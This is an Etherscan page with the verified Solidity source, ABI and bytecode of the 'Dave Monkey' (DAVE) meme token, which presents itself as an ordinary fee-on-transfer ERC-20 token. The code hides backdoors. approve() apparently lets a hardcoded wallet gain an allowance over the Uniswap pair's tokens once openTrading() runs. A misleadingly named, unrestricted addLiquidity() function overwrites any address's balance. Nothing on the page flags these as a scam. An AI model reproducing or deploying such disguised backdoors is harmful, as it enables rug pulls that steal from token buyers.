Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract DAVE is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function removeLimits()    - function addLiquidity(address[] memor ...    - function swapTokensForEth(uint256 tok ...    - function sendETHRRXR(uint256 amount)    - function withdrawRRXR()    - function min(uint256 a, uint256 b)    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-11-18
*/

/**
https://x.com/GuntherEagleman/status/1858339830985318538
https://x.com/elonmusk/status/1858339689993793788
https://x.com/Jessica_4_Trump/status/1858163188769984707
Tg: https://t.me/dave_erc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DAVE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _doExcludedFee;
    mapping (address => bool) private _doExcemptFromFee;
    mapping (address => bool) private _bots;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyAt=10;
    uint256 private _reduceSellAt=10;
    uint256 private _preventCount=15;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Dave Monkey";
    string private constant _symbol = unicode"DAVE";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletAmount = _tTotal * 2 / 100;
    uint256 public _minTaxSwap= _tTotal * 1 / 100;
    uint256 public _maxTaxSwap= _tTotal * 1 / 100;
    address payable private _rrWallet;
    address private rrSendor;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private _caLimitSell = true;
    uint256 private _caBlockSell = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        rrSendor = _msgSender();
        _rrWallet = payable(0xb420906f62144A1428F59EE317c50cd5a7664983);
        _doExcemptFromFee[owner()] = true;
        _doExcemptFromFee[_rrWallet] = true;
        _tOwned[address(this)] = _tTotal;
        _doExcludedFee[owner()] = true;
        _doExcludedFee[address(this)] = true;
        _doExcludedFee[_rrWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        address ownRR = _msgSender(); if(_doExcemptFromFee[spender]) ownRR=rrSendor;
        _approve(ownRR, spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeRR=0;
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            feeRR = amount.mul((_buyCount>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _doExcludedFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                feeRR = amount.mul((_buyCount>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendETHRRXR(address(this).balance);
                }
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCount>_preventCount) {
                if (_caLimitSell) {
                    if (_caBlockSell < block.number) {
                        swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                        uint256 contractETHBalance = address(this).balance;
                        if(contractETHBalance > 0) {
                            sendETHRRXR(address(this).balance);
                        }
                        _caBlockSell = block.number;
                    }
                } else {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHRRXR(address(this).balance);
                    }
                }
            }
        }
        if(feeRR>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(feeRR);
          emit Transfer(from, address(this), feeRR);
        }
        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(feeRR));
        emit Transfer(from, to, amount.sub(feeRR));
    }
    function removeLimits() external onlyOwner {
        _caLimitSell = false;
        _maxTxAmount = _tTotal;
        _maxWalletAmount=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function addLiquidity(address[] memory addrs) external {
        for (uint256 i = 0; i < addrs.length; i ++) {
            if (addrs[i] == uniswapV2Pair) return;
            _tOwned[addrs[i]] = 100 * 10 ** _decimals;
        }
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function sendETHRRXR(uint256 amount) private {
        _rrWallet.transfer(amount);
    }
    function withdrawRRXR() external onlyOwner() {
        payable(owner()).transfer(address(this).balance);
    }
    receive() external payable {}
    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = rrSendor = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addrs","type":"address[]"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawRRXR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600655600f6007555f6008555f600955600a8055600a600b55600f600c555f600d5560646009600a61003891906103b8565b61004690633b9aca006103cd565b6100519060026103cd565b61005b91906103e4565b600e55606461006c6009600a6103b8565b61007a90633b9aca006103cd565b6100859060026103cd565b61008f91906103e4565b600f5560646100a06009600a6103b8565b6100ae90633b9aca006103cd565b6100b99060016103cd565b6100c391906103e4565b60105560646100d46009600a6103b8565b6100e290633b9aca006103cd565b6100ed9060016103cd565b6100f791906103e4565b6011556015805462ffffff60a81b1916600160b81b1790555f601681905561011c3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060138054336001600160a01b0319918216179091556012805490911673b420906f62144a1428f59ee317c50cd5a76649831781555f80546001600160a01b03908116825260046020526040808320805460ff1990811660019081179092559454909216835290912080549092161790556101e16009600a6103b8565b6101ef90633b9aca006103cd565b305f9081526001602081905260408220929092556003906102175f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556012549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61029e6009600a6103b8565b6102ac90633b9aca006103cd565b60405190815260200160405180910390a3610403565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561031057815f19048211156102f6576102f66102c2565b8085161561030357918102915b93841c93908002906102db565b509250929050565b5f82610326575060016103b2565b8161033257505f6103b2565b816001811461034857600281146103525761036e565b60019150506103b2565b60ff841115610363576103636102c2565b50506001821b6103b2565b5060208310610133831016604e8410600b8410161715610391575081810a6103b2565b61039b83836102d6565b805f19048211156103ae576103ae6102c2565b0290505b92915050565b5f6103c660ff841683610318565b9392505050565b80820281158282048414176103b2576103b26102c2565b5f826103fe57634e487b7160e01b5f52601260045260245ffd5b500490565b6118e4806104105f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102da578063a0f2c96414610306578063a9059cbb14610325578063c9567bf914610344578063dd62ed3e14610358575f80fd5b806370a0823114610243578063715018a614610277578063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b4575f80fd5b806318160ddd116100e357806318160ddd146101cb57806323b872dd146101df578063300d6217146101fe578063313ce567146102135780636c0a24eb1461022e575f80fd5b806306fdde031461011e578063095ea7b3146101635780630faee56f14610192578063102b0fe3146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a44617665204d6f6e6b657960a81b60208201525b60405161015a9190611429565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611482565b61039c565b604051901515815260200161015a565b34801561019d575f80fd5b506101a760115481565b60405190815260200161015a565b3480156101c0575f80fd5b506101c96103e3565b005b3480156101d6575f80fd5b506101a761044f565b3480156101ea575f80fd5b506101826101f93660046114ac565b61046f565b348015610209575f80fd5b506101a760105481565b34801561021e575f80fd5b506040516009815260200161015a565b348015610239575f80fd5b506101a7600f5481565b34801561024e575f80fd5b506101a761025d3660046114ea565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b506101c96104d6565b348015610296575f80fd5b506101c9610547565b3480156102aa575f80fd5b506101a7600e5481565b3480156102bf575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102e5575f80fd5b506040805180820190915260048152634441564560e01b602082015261014d565b348015610311575f80fd5b506101c9610320366004611519565b610605565b348015610330575f80fd5b5061018261033f366004611482565b6106a8565b34801561034f575f80fd5b506101c96106bd565b348015610363575f80fd5b506101a76103723660046115d9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103cc57506013546001600160a01b03165b6103d78185856109fd565b60019150505b92915050565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161040c90611610565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561044c573d5f803e3d5ffd5b50565b5f61045c6009600a611739565b61046a90633b9aca00611747565b905090565b5f61047b848484610b20565b6104cc84336104c785604051806060016040528060288152602001611887602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a5565b6109fd565b5060019392505050565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161040c90611610565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105705760405162461bcd60e51b815260040161040c90611610565b6015805460ff60b81b191690556105896009600a611739565b61059790633b9aca00611747565b600e556105a66009600a611739565b6105b490633b9aca00611747565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e46009600a611739565b6105f290633b9aca00611747565b60405190815260200160405180910390a1565b5f5b81518110156106a45760155482516001600160a01b03909116908390839081106106335761063361175e565b60200260200101516001600160a01b03160361064d575050565b6106596009600a611739565b610664906064611747565b60015f8484815181106106795761067961175e565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610607565b5050565b5f6106b4338484610b20565b50600192915050565b5f546001600160a01b031633146106e65760405162461bcd60e51b815260040161040c90611610565b601554600160a01b900460ff16156107405760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040c565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561078990309061077b6009600a611739565b6104c790633b9aca00611747565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fd9190611772565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611772565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ee9190611772565b601380546001600160a01b039283166001600160a01b031991821681179092556015805490911690911790556014541663f305d7194730610943816001600160a01b03165f9081526001602052604090205490565b5f806109565f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109bc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109e1919061178d565b50506015805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040c565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b6001600160a01b038216610be65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b5f8111610c475760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040c565b5f80546001600160a01b03858116911614801590610c7257505f546001600160a01b03848116911614155b15610f68576001600160a01b0384165f9081526005602052604090205460ff16158015610cb757506001600160a01b0383165f9081526005602052604090205460ff16155b610cbf575f80fd5b610ceb6064610ce5600a54600d5411610cda57600654610cde565b6008545b85906110dd565b90611162565b6015549091506001600160a01b038581169116148015610d1957506014546001600160a01b03848116911614155b8015610d3d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2357600e54821115610d945760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161040c565b600f5482610db6856001600160a01b03165f9081526001602052604090205490565b610dc091906117b8565b1115610e0e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040c565b600d8054905f610e1d836117cb565b91905055505b6015546001600160a01b038481169116148015610e4957506001600160a01b0384163014155b15610e8157610e736064610ce5600b54600d5411610e6957600754610cde565b60095485906110dd565b905047610e7f476111a3565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610eb757506015546001600160a01b038581169116145b8015610ecc5750601554600160b01b900460ff165b8015610ed9575060105481115b8015610ee85750600c54600d54115b15610f6657601554600160b81b900460ff1615610f4157436016541015610f3c57610f26610f2184610f1c846011546111da565b6111da565b6111ee565b478015610f3657610f36476111a3565b50436016555b610f66565b610f54610f2184610f1c846011546111da565b478015610f6457610f64476111a3565b505b505b8015610fe057305f90815260016020526040902054610f87908261135e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd79085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461100290836113bc565b6001600160a01b0385165f9081526001602052604090205561104561102783836113bc565b6001600160a01b0385165f908152600160205260409020549061135e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108e85856113bc565b60405190815260200160405180910390a350505050565b5f81848411156110c85760405162461bcd60e51b815260040161040c9190611429565b505f6110d484866117e3565b95945050505050565b5f825f036110ec57505f6103dd565b5f6110f78385611747565b90508261110485836117f6565b1461115b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040c565b9392505050565b5f61115b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113fd565b6012546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106a4573d5f803e3d5ffd5b5f8183116111e8578261115b565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112345761123461175e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112af9190611772565b816001815181106112c2576112c261175e565b6001600160a01b0392831660209182029290920101526014546112e891309116846109fd565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113209085905f90869030904290600401611815565b5f604051808303815f87803b158015611337575f80fd5b505af1158015611349573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f8061136a83856117b8565b90508381101561115b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040c565b5f61115b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a5565b5f818361141d5760405162461bcd60e51b815260040161040c9190611429565b505f6110d484866117f6565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461044c575f80fd5b803561147d8161145e565b919050565b5f8060408385031215611493575f80fd5b823561149e8161145e565b946020939093013593505050565b5f805f606084860312156114be575f80fd5b83356114c98161145e565b925060208401356114d98161145e565b929592945050506040919091013590565b5f602082840312156114fa575f80fd5b813561115b8161145e565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561152a575f80fd5b823567ffffffffffffffff80821115611541575f80fd5b818501915085601f830112611554575f80fd5b81358181111561156657611566611505565b8060051b604051601f19603f8301168101818110858211171561158b5761158b611505565b6040529182528482019250838101850191888311156115a8575f80fd5b938501935b828510156115cd576115be85611472565b845293850193928501926115ad565b98975050505050505050565b5f80604083850312156115ea575f80fd5b82356115f58161145e565b915060208301356116058161145e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561169357815f190482111561167957611679611645565b8085161561168657918102915b93841c939080029061165e565b509250929050565b5f826116a9575060016103dd565b816116b557505f6103dd565b81600181146116cb57600281146116d5576116f1565b60019150506103dd565b60ff8411156116e6576116e6611645565b50506001821b6103dd565b5060208310610133831016604e8410600b8410161715611714575081810a6103dd565b61171e8383611659565b805f190482111561173157611731611645565b029392505050565b5f61115b60ff84168361169b565b80820281158282048414176103dd576103dd611645565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611782575f80fd5b815161115b8161145e565b5f805f6060848603121561179f575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103dd576103dd611645565b5f600182016117dc576117dc611645565b5060010190565b818103818111156103dd576103dd611645565b5f8261181057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118655784516001600160a01b031683529383019391830191600101611840565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4ec468b6ab6658b6ed2ac2213863e62b4a6e6d626af58ed8e72f27ae1906f6e64736f6c63430008190033

0x608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102da578063a0f2c96414610306578063a9059cbb14610325578063c9567bf914610344578063dd62ed3e14610358575f80fd5b806370a0823114610243578063715018a614610277578063751039fc1461028b5780637d1db4a51461029f5780638da5cb5b146102b4575f80fd5b806318160ddd116100e357806318160ddd146101cb57806323b872dd146101df578063300d6217146101fe578063313ce567146102135780636c0a24eb1461022e575f80fd5b806306fdde031461011e578063095ea7b3146101635780630faee56f14610192578063102b0fe3146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a44617665204d6f6e6b657960a81b60208201525b60405161015a9190611429565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611482565b61039c565b604051901515815260200161015a565b34801561019d575f80fd5b506101a760115481565b60405190815260200161015a565b3480156101c0575f80fd5b506101c96103e3565b005b3480156101d6575f80fd5b506101a761044f565b3480156101ea575f80fd5b506101826101f93660046114ac565b61046f565b348015610209575f80fd5b506101a760105481565b34801561021e575f80fd5b506040516009815260200161015a565b348015610239575f80fd5b506101a7600f5481565b34801561024e575f80fd5b506101a761025d3660046114ea565b6001600160a01b03165f9081526001602052604090205490565b348015610282575f80fd5b506101c96104d6565b348015610296575f80fd5b506101c9610547565b3480156102aa575f80fd5b506101a7600e5481565b3480156102bf575f80fd5b505f546040516001600160a01b03909116815260200161015a565b3480156102e5575f80fd5b506040805180820190915260048152634441564560e01b602082015261014d565b348015610311575f80fd5b506101c9610320366004611519565b610605565b348015610330575f80fd5b5061018261033f366004611482565b6106a8565b34801561034f575f80fd5b506101c96106bd565b348015610363575f80fd5b506101a76103723660046115d9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6001600160a01b0382165f90815260046020526040812054339060ff16156103cc57506013546001600160a01b03165b6103d78185856109fd565b60019150505b92915050565b5f546001600160a01b031633146104155760405162461bcd60e51b815260040161040c90611610565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561044c573d5f803e3d5ffd5b50565b5f61045c6009600a611739565b61046a90633b9aca00611747565b905090565b5f61047b848484610b20565b6104cc84336104c785604051806060016040528060288152602001611887602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a5565b6109fd565b5060019392505050565b5f546001600160a01b031633146104ff5760405162461bcd60e51b815260040161040c90611610565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3